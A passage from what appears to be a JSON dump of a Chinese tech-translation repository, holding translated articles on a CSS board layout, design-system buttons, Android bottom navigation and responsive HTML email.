在内都会出现滚动条。下图左右两边分别显示错误的和正确的侧边条：\n\n![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/08/1503994870wrong-right-sidebars.jpg)\n\n因此，让我们把 `max-height` 约束给内部的 `<ul>`。应该提供什么值呢？header 和 footer 的高度必须从列表父容器(`.lists`)的高度之中扣除：\n\n```\nul {\n  max-height: calc(100% - #{$list-header-height} - #{$list-footer-height});\n}\n```\n\n但还有一个问题。百分比数值并不参照 `.lists` 而是参照 `<ul>` 元素的父元素  `.list`，并且这个元素没有定义高度，因此这个百分比不能确定。这个问题可以通过设置 `.list` 和 `.lists` 同样高度来解决：\n\n```\n.list {\n  height: 100%;\n}\n```\n\n这样，既然 `.list` 和 `.lists` 总是一样高，它的 `background-color` 属性不能用于列表背景色，但可以使用它的子元素（header, footer 和卡片）来实现这一目的。\n\n最后一个 list 高度的调整很有必要，可用来计算列表底部和窗口底部的一点空间（`$gap`）。\n\n```\n.list {\n  height: calc(100% - #{$gap} - #{$scrollbar-thickness});\n}\n```\n\n还有一个 `$scrollbar-thickness` 需要被减去，防止列表触及 `.list` 元素的水平滚动条。 事实上这个滚动条”增长“在 `.lists` 盒子内部。也就是说，100% 这个值是指包括滚动条在内的 `.lists` 的高度。\n\n而在火狐中，这个滚动条被”附加“给 `.lists` 高度的外部，就是说 `.lists` 高度的 100% 并不包含滚动条。所以这个减法就没什么必要了。结果是当滚动条可见时，在火狐中已经触及最大高度的底部边框和滚动条的顶部之间的可视空间会稍大一些。\n\n这是这个组件相应的 CSS 规则：\n\n```css\n.list {\n  width: $list-width;\n  height: calc(100% - #{$gap} - #{$scrollbar-thickness});\n\n  > * {\n    background-color: $list-bg-color;\n    color: #333;\n    padding: 0 $gap;\n  }\n\n  header {\n    line-height: $list-header-height;\n    font-size: 16px;\n    font-weight: bold;\n    border-top-left-radius: $list-border-radius;\n    border-top-right-radius: $list-border-radius;\n  }\n\n  footer {\n    line-height: $list-footer-height;\n    border-bottom-left-radius: $list-border-radius;\n    border-bottom-right-radius: $list-border-radius;\n    color: #888;\n  }\n\n  ul {\n    list-style: none;\n    margin: 0;\n    max-height: calc(100% - #{$list-header-height} - #{$list-footer-height});\n    overflow-y: auto;\n  }\n}\n```\n\n如上所述，列表背景色通过给每一个 `.list` 元素的子元素的 `background-color` 属性指定 `$list-bg-color` 值而被渲染。`overflow-y` 使得卡片滚动条只有按需显示。最后，给 header 和 footer 添加一些简单的样式。\n\n## 完成收尾\n\n单个卡片包含的一个列表元素 HTML：\n\n```\n<li>Lorem ipsum dolor sit amet, consectetur adipiscing elit</li>\n```\n\n卡片也有可能包含一个封面图片：\n\n```html\n<li>\n  <img src=\"...\" alt=\"...\">\n  Lorem ipsum dolor sit amet\n</li>\n```\n\n这是相应的样式：\n\n```css\nli {\n  background-color: #fff;\n  padding: $gap;\n\n  &:not(:last-child) {\n    margin-bottom: $gap;\n  }\n\n  border-radius: $card-border-radius;\n  box-shadow: 0 1px 1px rgba(0,0,0, 0.1);\n\n  img {\n    display: block;\n    width: calc(100% + 2 * #{$gap});\n    margin: -$gap 0 $gap (-$gap);\n    border-top-left-radius: $card-border-radius;\n    border-top-right-radius: $card-border-radius;\n  }\n}\n```\n\n设置完一个背景、填充、和底部间距就差背景图片的布局了。这个图片宽度一定是跨越整个卡片的，从左填充的边缘到右填充的边缘：\n\n```\nwidth: calc(100% + 2 * #{$gap});\n```\n\n然后，指定负边距以使图片水平和垂直对齐：\n\n\n```\nmargin: -$gap 0 $gap (-$gap);\n```\n\n第三个正边距的值用于指定封面图片和文字之间的空间。\n\n最后我给占据屏幕布局第一行的两条添加了一个 flex 格式化上下文，但它们只是草图。通过[扩展 demo](https://codepen.io/SitePoint/pen/brmXRX?editors=0100) 自由构建你自己的实现吧。\n\n## 总结\n\n这只是实现这种设计的一种可行方法，如果能看见其他方式那一定很有趣。此外，如果能完成整个布局那就更好了，比如完成最后的两个栏目。\n\n另一个潜在的改进是能够为卡片列表实现自定义的滚动条。\n\n所以，[fork 这个 demo](https://codepen.io/SitePoint/pen/brmXRX?editors=0100) 尽情发挥吧，记得在下面的讨论区留下你的链接哦。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/buttons-in-design-systems.md",
    "content": "> * 原文地址：[Buttons in Design Systems](https://medium.com/eightshapes-llc/buttons-in-design-systems-eac3acf7e23#.u8m3qun1i)\n* 原文作者：[Nathan Curtis](https://medium.com/@nathanacurtis?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Funtrip](https://www.behance.net/Funtrip)\n* 校对者：[yifili09](https://github.com/yifili09)、[skyar2009](https://github.com/skyar2009)\n\n# 视觉系统中的按钮 #\n\n## 建立一个长远的视觉系统的12点建议 ##\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*CzIsMRDmO6EadfN0cb85GA.png\">\n\n我爱按钮们。我可以用按钮**做**很多事：进行下一步，做出决定，或者完成事务。有了按钮，交互变得焕发生机。\n\n这就是为什么**按钮**们是一个设计系统里最重要的组成部分。非常简单，它们在指定的区域提供可以点击的简单标签。因此，按钮是你应用一种设计语言的基本特征的重要方式，之后你可以把特征扩展到其他更复杂的部分上。\n\n这篇文章讲的是我在一个新生系统中着手设计主要按钮、次要按钮、以及一大堆其他类型按钮的时候所学习到的 **12** 条经验。\n\n### 主要按钮 ###\n\n#### #1. 设定一个系统的风格基调 ####\n\n一个按钮就像是系统视觉风格中最纯粹的原子表达（译者注：原子是化学反应中不可分割的最小微粒）。它结合了三大属性——**颜色**、**字体**以及**图像**——这些成为了一个原子中不可分割的部分。按钮也引发了对**空间**的讨论：内部填充（特别是标签的左、右）和边距（与其他元素相邻）。最后，按钮甚至可以表达更深层次的东西，比如圆角（通过**边缘半径**），比如提升效果（通过**边框阴影**）。\n\n**要点**：你应该赞同按钮是一个系统风格的首要展现。如果你把按钮的定义与颜色、大小、空间或其他细节等[新的变量](https://medium.com/salesforce-ux/living-design-system-3ab1f2280ef7)联系起来，那将会是很好的加分项。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*PyWEYZhKikVzaC8KwAbN-A.png\">\n\n按钮这样一个简单的元素包含了范围广泛的属性。\n\n#### #2. 设定一个语言基调 ####\n\n幸运的是，「点击这里」的讲法已经是过去式了。但我们仍然需要回答：一个按钮上的标签可以有多长？标签是用祈使句写的吗（比如「保存」或「关闭」）？我应该用一个对象（「文档」）来匹配一个动词（「保存」）吗？这些常用的标签有一些默认的用处么？ 我们是否需要引入品牌声音？\n\n**要点**：我发现按钮的价值是通过标签的引导来推动一个一致性的声音。当然，单词表和深层次的文案标准可以在具体的文档中找到，比如说语言和语调的指南。但无论如何，要把各种指引桥接在一起，按钮是一个绝佳的元素。\n\n![](https://cdn-images-1.medium.com/max/800/1*hqrRbtUd5v_HPeGqf_Ke3Q.png) \n\n#### #3. 在背景变得复杂时使用反转色 ####\n\n大部分按钮在白色的背景上都可以正常工作。但是当你把按钮放到一张照片上又会发生什么呢？或者深色的背景上呢？诶，它甚至可能被放到一个浅色的中性颜色上？你的按钮可以被用到任何地方吗？你可以**更改**主要按钮的颜色吗？\n\n**要点**：请在一个清晰可见的背景上展示你的按钮，并且设定一个反转色备用——白色？一个完全不同的颜色？或是半透明？——在背景灰暗时使用。当在编排文档时，在一系列有普遍性的背景上展示备用的亮色或暗色来把标准搞清楚。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*FeIWlJu-OZ8qUEsM-FsMUg.png\">\n\n在不同的背景上展示按钮，看看它们看起来是不是都好\n\n#### #4. 限制每页只有一个按钮，除非要重复主要操作 ####\n\n按钮可以引起动作。我们经常用一个主要的按钮，把用户的注意力吸引到页面里高优先级的操作上。但是，如果有一大堆按钮散落在页面上，我们就无法区分出它们的优先级的先后了。（[除非它们都是一样的](http://bradfrost.com/blog/post/conducting-an-interface-inventory/)，对吧？）\n\n在某些情况下，使用一个主按钮是恰当的，比如当你必须从一大堆平行的对象中做选择，或是一个设置页面有相似的模块化的区域，布满了指向不同类别的选项。\n\n**要点**：明确什么时候使用，和什么时候应该避免——在一个页面上使用超过一个的主要按钮。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*o2H9eO-00poReXitGm-hAQ.png\">\n\n\n#### #5. 设计并建立一个按钮的交互特征 ####\n\n按钮是最原始的交互，并随着交互变化。只展示按钮在页面加载时的样子，并告诉开发者「这就是按钮的设计！」显然是不够好的。相反，应该由设计师来展示一个按钮在许多不同的状态下应该出现的样式：默认、悬停、焦点状态（「一圈光环」），按下/活动中，甚至一个旋转的加载动画。\n\n**要点**：在资料中附上一个动画展示（把按钮放到页面里！），它可以展示按钮的各种状态而不需要阅读者亲自来互动。阅读文档不是一个寻宝游戏。像 Material Design 的指南那样做一个演示视频将会很加分。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*t9OuRA0hVzMw7uItFsqEAQ.png\">\n\n\n#### #6. 让多元素更具有灵动性 ####\n\n将按钮上的文字与 icon 配对可以让用户更快地识别和更易理解。\n\n但是等等！我认为按钮应该处于可被预见的可点击区域内。当你添加了一个新元素，即使是一个简单的 icon，按钮的布局都不应该被破坏。要应对不可预见的元素揭示了间距和内部对齐等讨厌的问题。你会想要让他们的布局更加平缓，特别是按钮包括了标签、icon **和**其他部件的时候。\n\n**要点**：让你的按钮对代码或设计工具可响应。用户们将要添加东西的——icon、标签、或者其他任何东西——但别担心间距和排列会被破坏。做好了前面的工作你就可以让它们正确地显示了。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*5dXoAkQukuKhKVL87pTJlw.png\">\n\n### 次要按钮 ###\n\n#### #7. 次要 ≠ 不可用 ####\n\n没有谁希望看到灰色的按钮\n\n但你可能发现你需要为那个吸引人的、高饱和度的主要按钮匹配一个次要按钮。你避免了使用第二个高饱和度的颜色，因为这会导致两个高饱和度的按钮彼此相邻，就像绿色表示**保存**，蓝色表示**提交**。不说用户，就连你自己也不知道哪个按钮更重要。\n\n所以，你可能会选择使用中性颜色。中性颜色看起来接近或完全是灰色。并且它看上去像是表达不可用。更糟糕的是，当主要按钮不可用的时候它也会变成灰色。并且就在你灰色的次要按钮旁边。哎。:-(\n\n**要点**：同时处理次级按钮的颜色和不可用按钮的颜色。确保所有选项在一起时都可以正常工作并且都容易可见。\n\n![](https://cdn-images-1.medium.com/max/800/1*E101zYa4_NxchGVfpKgypg.png) \n\n哪一个才是不可用的？\n\n#### #8. 当心机器里的「幽灵」 ####\n\n「幽灵按钮」通常只依赖于相同颜色的边框和标签，而缺乏填充背景色。这样的标签背后的区域是不确定的。有时候标签在白色上（是的，那很容易被看清！）。然而，在其他时候一个纯色或者细节丰富的照片都可以让标签变得很难阅读。\n\n「幽灵」让设计师在设计高对比度的主要按钮时想要偷懒。然而，把他们称为「**幽灵**」是有原因的。因为很多时候它们会无法被看见。我观察了「幽灵按钮」被难以查看的图片覆盖的情况下的可见性测试。参与者看不清它们或很难阅读它们。这将会削弱或破坏我们原本打算让这个按钮实现的交互的价值。\n\n**要点**：在一个系统中使用「幽灵按钮」是将你自己的设计置于为危险中。我观察到的情况表明「幽灵按钮」的表现比填充色还要差。此外，你可能只是想避免花费几个小时来倾听关于这个问题的极端设计师辩论。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*bKSO70RdMp2OUoVrrLXs2Q.png\">\n\n幽灵按钮——即使在简单的情况下——表现也是有问题的。你想要在不可预测的背景上使用它？忘掉这回事吧。\n\n### 其他按钮类型 ###\n\n很快，系统的用户们就需要你提供**那些**其他的按钮。大一点或者小一点的按钮。带有菜单或工具栏可切换的按钮。这取决于你的系统是否足够完整。\n\n#### #9. 可变尺寸，大（或者超大/巨大/扩展）&小（或者微小/极小） ####\n\n交互可以在重要的地方比如**卡片**元素或侧边栏模块中找到。有时，你需要在一个全屏的图片上放上一个巨大的按钮来引起用户关注。\n\n**要点**：在有必要的时候调整按钮的尺寸大小，尽可能像其他的 CSS 类或者设计软件的风格一样简洁。此外，考虑一个更难忘的名字——比如「扩展」或「微小」——而不是一个平淡的「大」或「小」\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*xxExyXQ3M1TXwwK__d4fMw.png\">\n\n#### #10. 区分按钮与链接 ####\n\n在扁平化设计的时代，像 [Material Design 这样的视觉系统](https://www.google.com/design/spec/components/buttons.html#buttons-flat-buttons)使用了多种「扁平」按钮，来用在工具栏、对话框操作和行内文本渣。在默认状态下，按钮和链接几乎没有视觉差异。然而，一个按钮的状态和行为，与简单的锚标签相比，会带来完全不同的效果。\n\n**要点**：如果你的系统使用了扁平化的版本，应该确保它的常规使用——在设计和代码中——都有别于链接。此外，这条准则应该涵盖所有复杂交互。例如**焦点**和**被按下**的状态，**间距**和**对齐方式**。\n\n![](https://cdn-images-1.medium.com/max/800/1*0MCgCs3CpqhuQ9S_pQIalA.png) \n\n#### #11. 使用菜单和区块丰富按钮的多样性 ####\n\n可变的按钮可以触发相关的菜单选项来进行选择。许多系统在 UI 位置紧张时提供了复合式的选项，就像**菜单**（或**下拉菜单**）和**分割**（或**分段式**）按钮。\n\n一个菜单按钮可以指示当前的选项（例如已经选择了 Arial 作为字体）或者打开一个独立选项（例如分享或打印）。在右侧添加一个小箭头的图标，你还可以得到一个额外的独立区域来布局一个菜单，同时左侧的区域可以触发一个独立的主要操作。\n\n**要点**：你可以用菜单式的按钮来丰富你的 App 的选项，但需要谨慎。这样的按钮和它们的区域分割（左侧主要操作，右侧菜单）可以支持许多种情况，但这也带来了更高的开发成本和学习成本。对设计更简洁的网站来说，不要用这些不常用的替代方案来破坏了原有的架构。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*QvaEyZSTLHnBMqx4E89n9g.png\">\n\n\n#### #12. 从开关到工具栏，让按钮们工作地更和谐 ####\n\n按钮可以成组使用。一个**按钮组**常常搭配一个主要选项和一个或多个次要选项。一个**开关按钮**常常用来表示开关（比如粗体）或者显示一个设置菜单的选项（就像文本对齐选项的左对齐、右对齐、居中或两端对齐）。在它们最广泛的用法中，一个工具栏可以把许多不同类型的按钮搭配在一起：主要的、次要的、开关、菜单、部件。\n\n**要点**：当你在拓展按钮的种类时，你应该试着让按钮们在一个紧张的空间内做一个压力测试，并且尝试多种不同的组合。视觉系统的设计师们不是算命先生，没有办法预测未来。但是探索一个不同情形下的合理状态，可以帮助你避免厌恶情绪或一条道走到黑。\n\n\n### 对于按钮，就使用 <button> ###\n\n有一个很好的关于学习按钮代码的宝库。这篇 CSS 技巧的文章[什么时候使用按钮元素](https://css-tricks.com/use-button-element/)（和关于它的活跃的讨论）是一个很好的开始。\n\n![Markdown](http://p1.bqimg.com/1949/40f4997a20dea3f2.png)\n\n **要点**：学习代码原型来了解常规的按钮和可行性。你可以认真阅读 Alex Lande 的 [Anchors, Buttons, and Accessibility](http://formidable.com/blog/2014/05/08/anchors-buttons-and-accessibility/) 和 CSSKarma 的 [Meet the Polybutton, An Accessibility Polyfill](http://csskarma.com/blog/polybutton/)  ，通过这样的文章，你将可以慢慢得到进步。\n\n想要开始着手视觉系统的设计，或者需要深入讨论产品和用户？ EightShapes 会进行系统的[专题研讨会](http://eightshapes.com/workshop-planning-parts-products-people.html)并且在[视觉系统设计](http://eightshapes.com/design-systems.html)上指导客户。[让我们聊一聊吧？](https://twitter.com/nathanacurtis)\n"
  },
  {
    "path": "TODO/bye-bye-burger.md",
    "content": "> * 原文地址：[Bye, Bye Burger! What we learned from implementing the new Android Bottom Navigation](https://medium.com/startup-grind/bye-bye-burger-5bd963806015#.b1x3w6elg)\n* 原文作者：[Sebastian Lindemann](https://medium.com/@S_Lindemann)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [Xiaonan Shen](https://github.com/shenxn)\n* 校对者： [Jaeger](https://github.com/laobie), [jamweak](https://github.com/jamweak)\n\n# 再见，汉堡菜单，我们有了新的 Android 交互设计方案\n\n我清楚地记得 3 月 15日当那条新闻传来的时候我正在干什么——当我们正深陷于将我们 [Android 职位搜索应用](https://play.google.com/store/apps/details?id=com.xing.mpr.cep) 中的汉堡菜单抛弃，转而使用一种可见的标签式导航时，谷歌宣布将底部导航栏添加到 Android Material Design 的指导手册中，这个新闻快速传遍了 Android 社区，并且引发了关于底部栏的视觉效果以及功能性的 [热烈争论](https://plus.google.com/+LukeWroblewski/posts/ZgNUpC72FVt)。\n\n\n\n![](https://cdn-images-1.medium.com/max/600/1*DEsoBD74AHj4Z6U4zdnSpA.png)\n\nAndroid 底部导航栏。来源：[Material Design Guidelines](https://material.google.com/components/bottom-navigation.html#bottom-navigation-specs)\n\n\n\n一开始，与其他人一样，我们的热情被完全浇灭了。选择谷歌扔给我们的这个全新的、没有经过验证的导航方式，而放弃我们努力了几个月的成果，让我们感到很恐慌。然而，我们还是决定在较短时间内为我们的 Android 应用发布一个新版本，成为最先使用新导航栏的应用之一。\n\n移动设备上的导航栏和菜单一直都是一个热门话题，尤其是当 [汉堡菜单](https://blog.placeit.net/history-of-the-hamburger-icon/) 被引入，同时智能手机开始变成主要的信息消费设备。这种三条线的菜单变成了许多主要应用（如 Facebook、Spotify 以及 Youtube）的默认导航元素。但是因为这种导航方式将相关入口从用户视野中隐藏，使得其变得不那么优雅了。对于 iOS 应用来说，[底部标签栏](https://developer.apple.com/ios/human-interface-guidelines/ui-bars/tab-bars/) 作为一种全新的可视化导航栏，快速成为了苹果智能手机上实现一级导航栏的标准方式。\n\n不幸的是，Android 应用缺少一种合适的底部导航栏解决方案，只给应用（比如我们的）提供了汉堡菜单。为了在不破坏 Material Design 指南的前提下使得导航栏依然可见，（太多的）应用开发者开始使用 [顶部标签导航栏](https://material.google.com/components/tabs.html)。虽然标签在简单的应用上工作良好，但是当需要使用二级导航或者有三个以上入口的时候，就会出现空间不足的问题。考虑到移动设备的 [“拇指区域（Thumb Zones）”](http://blog.experts-exchange.com/ee-blog/smartphone-thumb-zone/)，顶部空间也被认为是对于智能手机用户来说难以点击的区域，特别是与底部导航栏相比。\n\n随着 Material Design 底部导航栏的引入，谷歌意识到了应用开发者所面临的挑战，并且提供了从用户的角度出发的解决方案，以实现一种脱离汉堡式的一级导航栏。这使得我们非常乐于使用它。\n\n在决定使用底部导航栏之后，我们进入了最具有挑战性的部分——设计阶段。在大量的规范和动画中，我们不得不做出了一些 UX 和产品的重要决定：\n\n\n\n![](https://cdn-images-1.medium.com/max/600/1*2HlX9ZSSHnQ5llC_o8dOOA.gif)\n\n我们的底部导航栏\n\n\n\n*   **滚动时隐藏：** 我们希望在用户的屏幕上显示尽可能多的内容。因此，我们决定在向下滚动的时候隐藏导航栏，从而给内容区域提供更多的空间。而向上滚动可以使导航栏重新显现。\n*   **变换式导航栏：** Material Design 底部栏有一个非常平滑的动画，它参考了变换式导航栏——在不同目标间切换的时候，被选中的部分会被放大，同时未被选中的元素会被向后移动，从而在导航栏上浏览不同的目标就有点像在浏览一个旋转木马。我们决定要使用这种效果因为它使得切换导航目标变得更加有趣了。我们希望这可以推动我们的用户更多地在应用的不同功能组间切换。同时，该动画在我们的下一个观点中非常重要。\n\n\n\n![](https://cdn-images-1.medium.com/max/600/1*uMnDyq7fTZ3KDu2BteuIxw.gif)\n\nAndroid 的变换式导航栏。来源：[Material Design Guidelines](https://material.google.com/components/bottom-navigation.html#bottom-navigation-specs)\n\n\n\n*   **Material Design 的外观和体验：** 我们希望这个底部导航栏尽可能地融入原生 Android 环境。这意味着在动画和视觉设计上投入更多。只有这样做我们才能够在我们的 Android 用户群中获得高接受度——我们最不希望看到的就是用户在与导航栏交互时怀疑他们在使用从一个 iOS 简单拷贝过来的应用。\n*   **保存状态：** 使用底部导航栏的应用需要记住用户在每一个视图组都做了什么，这与汉堡菜单非常不同。因为可见的分组安排就是为了更快速和频繁的切换，所以每一个视图组的点击路径都应该被储存起来，这样用户就可以很方便地返回之前的任务。 相反的是，使用汉堡菜单的应用不会储存状态，当应用回到一个分组时，应用都会从视图的第一层级重新开始。基于你应用的基础结构，保存分组中的状态可能会成为一个巨大的技术难题，因此我建议尽早与你的开发团队讨论此事。\n*   **减少分组的数量：** 当我们从汉堡菜单转换到底部导航栏的时候，我们只需要转换少量分组以便于管理，这样可以让我们更快完成设计和开发，同时也可以确保只给用户展示最重要的入口。这使得我们将设置的入口移动到了右上角的三点菜单中，而不是将它放在最重要的特性（如搜索，书签和推荐）旁边。我建议在确定将哪些功能放在导航栏中时应该尽量严格。如果你的应用有大量分组，底部栏可能会相对难以实现，并且你可能需要考虑将其中的一些合并或者重新排列。幸运的是，我们并不需要做这些。\n*   **保持精干** 虽然你需要搞清楚你在新导航栏中想实现哪些特性，但更重要的是，不要在验证核心想法正确与否之前过分沉迷于细节。因此，我们底部导航栏的最小可行产品并没有包含大量的额外修饰。当然，我们最终将会把这些附加物加入我们的产品中，我们只是希望在一开始就能确认我们做的是否正确。我们甚至向一小部分用户发布了一个无法保存用户状态（详见之前的观点）的版本。我们在测试样本中看到了积极的数据后，才开始处理后续任务。\n\n**需要注意的是，虽然谷歌的 [Material Design 指南](https://material.google.com/components/bottom-navigation.html) 可能为如何使用这种新导航栏提供了详尽的定义，你依然需要基于你自己的目标以及你应用的工作方式来做一些重要的决定。**\n\n我们使用 [Google Play 分阶段发布](https://support.google.com/googleplay/android-developer/answer/6346149) 功能小心地铺开我们的新导航栏，以确保这个改变实现了我们预想的效果。幸运的是，我们很快确认了它做到了：\n\n*   **增加了用户参与度：** 我们的用户变得更加积极，这使得我们的访问量显著增加了（PV 和 月活跃用户都有两位数的增长）。同时，我们的用户回访更加频繁了，这意味着新导航栏与用户形成了共鸣，从而提高了用户粘性（访客数量和月活用户都有接近两位数的增长）。\n*   **应用各功能组访客数量增长了：** 重要的应用功能，像书签以及工作推荐，现在都在底部栏中可见了，并且从数据中反映出其使用量大大增加（进入这些功能组的用户数量有两到三位数的增长）。这个增长帮助我们更好地向用户展示我们独特的优点，同时也提高了整个产品的体验。\n*   **无负面用户反馈** 到目前为止，无论是通过直接的用户反馈或者是通过应用评价，我们都没有收到过对于新导航栏的抱怨。而通过上述途径，我们可以看到很多正面的反馈。\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*NArH9VWRmCHAd67OYR1hrw.png)\n\n汉堡菜单 vs 无汉堡菜单：我们应用在导航栏改变前后的对比\n\n\n\n我们从对新 Android 底部导航栏的冒险尝试中获得了回报，并且我们成功地达成了改善用户体验和 KPI 表现的目标。因此，如果你的应用还依赖于汉堡导航，我会强烈建议你去探索这个转换到可见导航栏的机会。当然，在开发上大量投入之前要先对需要改变的设计有一个初步的认识，从而对工作总量有一个更好的了解。\n\n你可以 [从这里](https://play.google.com/store/apps/details?id=com.xing.mpr.cep) 查看我们最新版本的应用，最新版本中会有我们随后对底部导航栏的设计调整。这个应用是针对德国就业市场的，所以它可能不会有你所在地的完整职位列表。我欢迎任何的问题以及想法，并且期待你们的评论和邮件。\n\n最后但同样重要的是，我想要对我们超棒的设计和开发团队（像 [Dema](https://twitter.com/demito29)，[Miguel](https://twitter.com/miguel_eedl) 和 [Cristian](https://twitter.com/cmonfortep)）说谢谢！他们精巧地实现了这个新的导航方式，并使得整个实现过程令人愉悦和兴奋。\n\n\n\n\n\n[![](https://cdn-images-1.medium.com/max/400/1*Mro-phkgJv4rZQ223OYosA.jpeg)](http://eepurl.com/bBbrFX)\n\n\n\n\n\n[![](https://cdn-images-1.medium.com/max/400/1*kHlMuCZPyf0mQQWAuaR7HQ.jpeg)](http://facebook.com/startupgrind)\n\n\n\n\n\n[![](https://cdn-images-1.medium.com/max/400/1*B3UHAfn5Xm2QNIPW1sYJHA.jpeg)](https://twitter.com/startupgrind)\n\n\n"
  },
  {
    "path": "TODO/can-email-be-responsive.md",
    "content": "> * 原文地址：[Can Email Be Responsive?](http://alistapart.com/article/can-email-be-responsive)\n* 原文作者：[Jason Rodriguez](http://alistapart.com/author/JasonRodriguez)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Hyuni](http://hyuni.cn/)\n* 校对者：[phxnirvana](https://github.com/phxnirvana)，[Tina92](https://github.com/Tina92)\n\n# 响应式邮件设计\n\n无论你是否喜欢，HTML 邮件的人气是不可否认的。就像网页一样，收件箱开始走向移动化，[有一半以上的邮件](https://litmus.com/blog/email-client-market-share-where-people-opened-in-2013) 是在移动设备上打开。\n\n# 翻译版本\n\n- [意大利语](http://italianalistapart.com/articoli/112-numero-95-29-luglio-2014/472-email-puo-essere-responsive)\n\n[![](//assets.servedby-buysellads.com/p/manage/asset/id/32683)Brief books for people who make websites. Ad via BuySellAds](//srv.buysellads.com/ads/click/x/GTND423YCTSD4KJYCAA4YKQWFTYDK23JCVBICZ3JCEADT2J7CK7DL23KC6BDEK3NCTYDEK3EHJNCLSIZ)\n\n现在的邮件依然设计的很过时。还记得在 Web 标准成为……标准之前的编码时光吗？欢迎来到邮件设计地狱。\n\n但是编写一个邮件还没有那么多的挫折。现在的邮件设计者仍在使用 HTML 属性，先让我喘口气，内联样式，众多先驱设计者们却已开始在古老的电子邮件设计上使用 web 前沿技术。\n\n受到由 Ethan Marcotte 首次撰写的基于 [响应式网页设计](http://alistapart.com/article/responsive-web-design/) 原理的开发的启发，一场逐步逼近现代网页的电子邮件设计革命开始了。订阅者不会再遇到糟糕的阅读体验，难以触摸的目标，和小小的字体。\n\n## 网页邮箱的价值\n\n无论你是否喜欢网页邮箱，它在几乎所有行业里都是非常重要的工具。在营销方面，电子邮件一贯 [优于](http://www.wired.com/business/2013/07/email-crushing-twitter-facebook/) 其他方式，比如 Facebook 和 Twitter 。更重要的是，电子邮件提供越来越 [个性化的方式](http://blog.mailchimp.com/paul-jarvis-likes-trading-stories-with-people/) 使 [大量的潜在用户](http://blog.getvero.com/email-marketing-statistics/) 互相影响。\n\n你可能对电子邮件广告不太积极，碰巧的是，作为一名 Web 设计师或者开发人员，你会使用电子邮件与你的用户定期沟通。可能是发一条回执，或者公告新的产品功能给用户，或者通知他们你最新发的博文。无论什么原因，电子邮件都是一种重要和经常被忽略的媒介。\n\n许多开发者给顾客发送纯文本格式的邮件。尽管纯文本格式有许多优点（方便写，兼容性强，下载快等等），但是 HTML 格式的电子邮件也有许多优势：\n\n- 超链接。你可以通过邮件中链接到外部页面来进行更多交互。\n- 设计。即使是在收件箱中，一个设计良好的 HTML 邮件能让你突出你的品牌。\n- 层次结构。在 HTML 邮件中你可以使你的邮件主从分明，让人更容易注意到重要副本或者重要连接。\n- 跟踪。HTML 邮件允许你去追踪邮件是否被打开和约会接受情况，这些有价值的数据可以用来优化你的营销效率。\n\n如果不像设计精良的 APP 一样要求你的邮件，你就会失去 1) 树立品牌形象的机会 2) 追踪邮件是否被打开与用户行为的能力的机会 3) 在你的应用之外给用户一份极好的用户体验的机会\n\n## HTML 邮件很糟糕\n\n传统上，对于网页设计师来说，设计和开发 HTML 邮件有着最坏的体验。就像乘坐时光机返回充满表格布局，内联样式，非语义标签，和客户端 hack 技巧的地狱般的 90 年代。\n\n这只是一小部分 HTML 邮件痛苦的原因：\n\n- 没有标准。当然，我们使用 HTML 和 CSS，但不像网页，邮件客户端没有真正的标准存在，这是一些杂乱的代码存在的原因。\n- 邮件客户端。邮件客户端，比如 Outlook 和 Gmail，经常以不同的方式渲染 HTML 和 CSS，而且总是这么离谱。从而导致……\n- 许多 hack。即使是设计良好的邮件广告也需要针对不同的客户端 hack 来保证质量。\n- 没有 JavaScript。电子邮件中 web 中最受欢迎的语言在电子邮件丝毫没有地位，因为电子邮件客户端会（正当地）出于安全因素而禁用它。这样就没有交互性了。\n- 内联样式。我更喜欢使用单独的结构进行描述。不幸的是，大部分邮件客户端强制你依赖内联样式和属性去做邮件中近乎所有的事。\n\n当一切趋于稳定时，在电子邮件设计社区（是的，确实 **有** 一个）中开始有关于减轻开发电子邮件促销广告的痛苦的动向。许多公司与个人开发者开始优化电子邮件设计的工具与方法，并且开始更多的分享他们的见解。\n\n我所在的公司，[Litmus](http://litmus.com)，就是其中一个。我们构建了测试与跟踪电子邮件活动的工具。我们都收到了电子邮件营销，尤其是电子邮件设计的影响。我们甚至专门创建了一个 [社区](http://litmus.com/email-community) 来聚集这些邮件营销人员，给他们提供一个分享知识，提高技能，互相学习的平台。\n\n虽然我在本文中提及了一些 Litmus 的工具和资源，但还有许多公司与个人在努力提高电子邮件设计的艺术。尤其是，[MailChimp](http://mailchimp.com) 和 [Campaign Monitor](http://campaignmonitor.com) 都有非常出色的 blog 和说明。还有像 [Anna 